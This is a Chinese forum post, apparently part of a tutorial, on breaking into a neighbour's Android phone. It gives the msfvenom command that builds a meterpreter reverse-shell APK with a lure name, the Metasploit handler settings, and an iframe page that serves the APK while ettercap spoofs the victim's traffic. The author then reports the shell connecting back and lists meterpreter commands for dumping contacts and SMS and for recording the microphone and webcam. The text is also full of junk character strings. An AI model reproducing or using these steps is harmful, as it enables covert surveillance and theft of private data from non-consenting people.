|
/ p) ^9 l6 q0 v5 d/ Z3 ~: a, U$ U 五、msf+ettercap入侵邻居安卓手机
0 Q4 n3 X7 x, P& a 3 B% A% O4 H5 F& i! J
7 S! g7 L2 r3 K# j+ d r2 U% [: F& @ 首先启动msf
% T8 N/ s6 M+ [7 H; Y* `( K 3 E4 k( ]7 k9 t, u+ r, K* b
1 W; `& y& E. ] 先用kali生成一个安卓木马，如下命令：
% h& h* J' e: C1 y$ o- R% T* k 5 e) n7 c" q( w" R$ z
' T0 m& Y9 z' k$ ]
Msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.0.109 LPORT=44444 -o ~/Desktop/ribenav.apk ( S# u0 }$ n) ^( o9 ^% d
6 l) ^, \* N1 |9 Y
" S3 n6 f7 J% n/ m5 Q$ F
 为了能让对方下载以后安装我这里将马的名字命名为ribenav.apk,哈哈邻居可是个“大色鬼”，就不适用替换下载的方法了，据我所知，邻居频繁使用手机浏览器浏览新闻
" c. r' t7 j/ l+ A0 v: x * K4 X9 M: ^" ?) V
" N% `! M. M' `% o$ R( ^- j8 Y 然后进入msf
1 \9 T. k9 J1 L0 [
8 |" V7 R/ P& I! P# d2 S
" }- g6 F1 U! U* H5 W use exploit/multi/handler
* b! z' Z: `0 ?; u
: i/ l8 D3 D% l0 t" F' E: m. k1 N2 N4 x' E K. J' R% P
set payload android/meterpreter/reverse_tcp ' z' K* s; |2 p; M e
' j: Z8 V# s, _# f- l+ a! r! Z9 x9 s0 K0 u
set LHOST 192.168.0.109 //ip为kaili的ip 5 r' O( H" ~. h8 X0 h- Q
$ a: X# M7 w& |- E# k; t# w
, y0 |3 e5 c9 p) Y7 b3 u0 d, U set LPORT 44444 //端口一定要与前面生成的木马的端口一致
; j$ ]: b1 O3 R1 W: v+ H
' p( j' Y8 {: l2 l, H1 h9 ~* r* Y# Y; K; M0 V( D* [
Exploit
# u! g/ `% g% y W/ a( o
, S% G1 g# b7 S% N8 O( y; G6 D; w% R# s2 c% `! @" p
V& ]$ L7 u5 F6 O # J0 J! O$ _1 }$ {" z% k" i9 o. ^
: V- q( v( S! |6 q" i 下面我们开启ettercap -G / C2 x! { U/ z' c. f. w4 T) z
6 q2 @5 ]7 I9 z% b4 E* a
7 n. A7 X$ ~1 @
我物理IP为
2 j- [4 b# v2 a k" s. n* y5 j
# s' u+ L' B7 R5 |( e, h6 y; W% k1 ?7 e
2 m- P# W/ [ ^$ \+ }+ E+ M 
+ U) z! z; m) r8 _ 6 p7 M6 m3 v E2 n
& g( _- l4 ]# }9 y7 }) A
别到时候再把我物理机欺骗了，之前测试物理机只装腾讯管家是可以成功欺骗的，
2 {/ @0 A/ e% r- \- ]- |' e
- m* f% f% { h7 {' |$ a1 G' F0 j' t
! Q$ v7 c6 J A) I' `" b$ c" V! Q 下面我们来设置一下
8 x- M6 [$ J" Z& r: S
! x, A: c. s) e) |& d5 X. S. g! I: C! J% O4 o" K: I
 ; j& D" ]4 h7 Z9 c P3 P) q
% C9 j2 @8 P' u e, \/ i: ?2 o# _( N
在开启欺骗之前我们先把生成的apk马丢到kaili var/www/html下，并创建一个index.htm文件内容为：<iframe src=http://192.168.0.109/ribenav.apk></iframe>,因为apk文件嘛要想直接提示下载，用iframe语句就OK了，
5 b- t( W& t; B% `! z1 F4 M 5 m; t. d5 Z1 R: ], `6 k. V3 `) K
( Y% e6 F0 k% N7 C" B: L' Z: P
- u$ b) n2 z+ J( v+ l- p
: p2 ~+ J. k7 b( d4 ~1 v, `
" x) A, C: F% d. h c1 |  & `+ N5 z( y9 f2 J ^) X/ ]
5 U; ]7 R$ y1 K ]3 f8 t" X
+ ^0 x p- t& p& a9 ~' ?0 L
* O1 F+ F6 W ~6 M; W. ]) T
2 e- V; {& l( K/ V
( O v0 j. M0 M, ?
* B$ ^, Z) d6 c6 R$ A: M
0 a0 r3 U* b+ G) t( v& [" A5 R4 P* |7 h
* O" D4 C0 b3 h2 v5 O, u0 q: j
q; X2 J# C' o% ?% D" B1 T Y3 e- G( x+ r
" ?) p- q5 }9 b; R" d7 a% D & A) N1 {" ]. g4 |9 D
_# @- S! j2 K
) M9 Z$ A3 S# Y2 h1 s8 d& T
% e$ t) J; v. l* L. w0 S) H3 ^9 U5 c5 s5 O. k
( c3 l) F; }( P
@6 G+ z0 K) ] [0 H; l- Q* x
; s( I" y% u/ _( s
: y* Z- W0 \4 s/ r% C b8 } i 3 }1 }- |8 K, ^% P3 M; f" }
8 [; x" N; ?* b( w# i% s4 |
4 y/ o3 t4 S( u
$ j* }* L" Q2 w7 l3 Y) O+ c2 k; v+ |, B1 M" S$ c
, w- _# ~- h) [+ F" Y3 b# s2 b
1 z$ v' b; B+ L% U9 }3 F& j7 ~% o9 x8 [: v2 X2 F3 @$ b! V, s
: ^: S5 n& y( w& b1 i4 F
; g+ F+ t3 \5 v! i
# n! r2 o% l7 E, G 
5 L8 g3 F7 }) t7 Q! c+ w1 J ' F1 |; N$ N8 M( Q/ ?5 s& P+ v
8 |9 v) @) P- |" ~# ? 下面我们开始攻击
, F/ J9 S3 O }0 L: D$ ^- g. B
( e# W; T2 L: y* _5 ~7 H" h& m: Y( ]4 _0 ^4 Q4 u m
3 }1 E* Z% E. ]/ b2 Q- h# p ! C. z2 V9 R8 N5 Y* }6 J$ f4 M
1 a) |6 X* ?9 ~7 E5 C
0 Q7 X$ {% l2 O) }2 ]! `
% G* k$ ]! T. z, {5 g7 t( j, p, l8 ^ H- H8 }
5 u A/ J6 o" z1 w/ N* m R
7 }: V: a: [" J
0 H- j) L2 z- K$ s9 z / ?" K2 M6 q- @" M
4 [! X W: v7 R. [5 p) I. P7 l
& k% o. o7 b* x2 U0 y5 T) p
3 V" }& G8 o2 I7 v 2 x6 e: H9 Y+ f2 Q( C% u- U3 \
3 R1 T' ?) e- V/ C6 {4 M 大概过了5分钟多，发现反弹成功了 % v) s9 H! [. C$ I/ h( B* @; u) Q. g
. f3 e2 G! _6 [6 I, P
8 G7 o! M" x1 D2 Z
1 T1 M; I3 i! N/ q2 Y & u+ F, G4 \& g; y
8 D/ \1 u0 o$ Z8 v! a
8 f/ K F' S, H
0 m# N7 l# w. s1 m- ?: d4 H2 [" q' o: [3 b7 Y) j) z
5 }: ~- U' G4 R; R) V* u& M1 f
" L7 q) I# `! u1 z a
q0 }# [# ?9 ~. Q# I- w0 p! Y
: b, s {7 ]6 i4 x) c8 w 3 N8 }; |8 _$ N! R8 @6 v
9 {: T4 l w4 \ ' x# i. K, M; E! P) E) z
6 v$ @3 m* e1 Z$ W; r+ P, b B' N
% R& v- O1 {8 {% M
' p1 J7 q) L2 f) x- l8 k; t
1 V( c; d, e6 S; j* d
( M" a `. z! ~$ U9 J 
7 h. c3 A/ y8 e1 Z % X' K4 l6 j5 W, T) Q5 e
6 m% E9 t- @4 B5 u
执行命令 % N, M# w8 s: x1 E7 s$ L( U& I
, u+ b: b5 m m. u7 C
4 M# E# a. C; s( ] ) |" c+ V2 x( A
4 K, {% t5 \4 ?( ~( Z5 a0 X& R N j
( A! o7 f1 ]0 h9 h0 V8 N dump_contacts --》这个是导出电话 * D# O$ w+ w, Y
: o4 b9 ?" c9 u: x$ {( G4 @; B7 A1 V0 V" j1 L& t
dump_sms --》这个是导出信息
9 i: y% y' O( X. {: s! g
9 N6 q% O, L' K/ m5 q6 b( ]6 X
% c* r( D! Y4 w- J, w- b( S record_mic Record audio from the default microphone for X seconds
$ \( A3 s @, M5 y6 H/ r# {
* x+ }* _8 `( b' o* } E! ~" n: T' a* j: s+ |% f2 b, b0 b* p
webcam_chat Start a video chat & P; V- i( A6 N3 I0 ?1 Q
3 E8 P( M& H4 y# Z; S2 ~7 R& Q7 a
webcam_list List webcams : ~3 R0 E; h. s( g
3 [2 ^; X& x" K+ r, S# l- q/ i: q5 N( @" O
webcam_snap Take a snapshot from the specified webcam
: e7 Q! T- ~% ^& L. L d$ r
: ~2 h: I; M! u) ?. N: A1 Q M8 Q
$ w* P* K! [+ |8 c: m) t* z webcam_stream  lay a video stream from the specified webcam
; D1 D5 H, o1 S" O ; Z. ^0 N9 u- a" O
5 y# H k/ r/ G" S; o6 }) E
/ s9 R2 ]$ P+ Z! i$ q. b# t' \ ; W1 q# @$ [ D; m) d& R9 h
; E4 i! ^$ f# O' @, {% z  6 e+ `' s8 F6 T& d) n) G
* c' I8 V/ o* G1 ?* N
/ S1 R) U3 |; j) e 我们打开看一下电话薄， 9 {! ?- U1 y E4 i4 U
$ `2 D3 ?9 L, H/ l# G4 v
. C2 y5 I, Y1 B) Y 6 {- x! P! F1 ?: q
9 r6 U1 ?- A* L2 }: B: d
x% e# R" P* x
2 ~( f r; c3 N
3 F! x( N |4 f, S6 K* m) r
0 \6 p" \. J' P( K7 q4 `1 `
8 a, S1 ?* [1 O; U
6 h% ?! k3 \) A- F( r' B% X6 l' X8 l) `9 d( k
( \; \$ K5 D7 ^! E1 P' d- C/ \6 `
$ W. j7 D( V! T7 G x: h/ N7 u9 F1 g9 y; F8 \4 F' p% `
 $ U1 t' O4 P; }3 a% m
7 u0 B. I4 k A' P7 k* f6 N
( j6 c5 {: t7 u: k& v . y, r8 n1 }# \! a! _
( L5 Q: [3 [( b: n5 N l5 g
2 ~! z \& o: t- w& q- X 我们同时欺骗成DroidJack木马，使用方法如图：
, `# Q4 o* Q( l1 ~
# m W2 V k# Q2 L3 ` ]$ M; m, J0 x# R+ b* l
 / U5 Q- L7 K) r' I! D
7 A- E7 h7 b5 B& H& r! S/ i
' Q; _! z9 X: x" D# i& z$ @1 y! D- S8 | # }7 z, t( T1 B
" X6 @: s- {- f% f. V9 A/ o) E
& Z; p3 L1 V/ P& P  / ~+ q. G3 R+ s
0 J I0 c1 G3 L+ o; H) x4 E8 r& I h4 X* ^
切记在前面生成完马以后记得在这里选择开关为on，并且对应前面生成马的时候的端口 ' E( U4 x) J" r+ B% K2 a( `
/ b& C/ h: F5 q% g
* o( X% A3 {* \% S4 h/ ?# ^  8 L/ \) J6 _& H
0 l( K% x% z+ p$ B/ R, ^
, S5 Y1 U% Y7 W. S3 L' ^ 
6 D# K0 ^# ]1 I a
& X1 Q$ S) t# f
Q. w3 i8 y( A& d3 L7 i  8 J* c9 v8 Y( Z4 H+ Z; n/ `
3 ?: a* S9 O# v2 |3 S& V' H) S
, @" b0 @8 j" l% `4 Q   . b8 l- E5 ^+ ?" }4 M6 [7 s
2 k1 R! E$ F1 j% d# `9 `! D
- f$ U8 R) P1 |$ ?7 B% ]( G" n
3 U F3 w. q5 t& O0 E! A' E8 k2 H% ?
| 
发表于 2018-10-20 20:30:37
收藏
支持
反对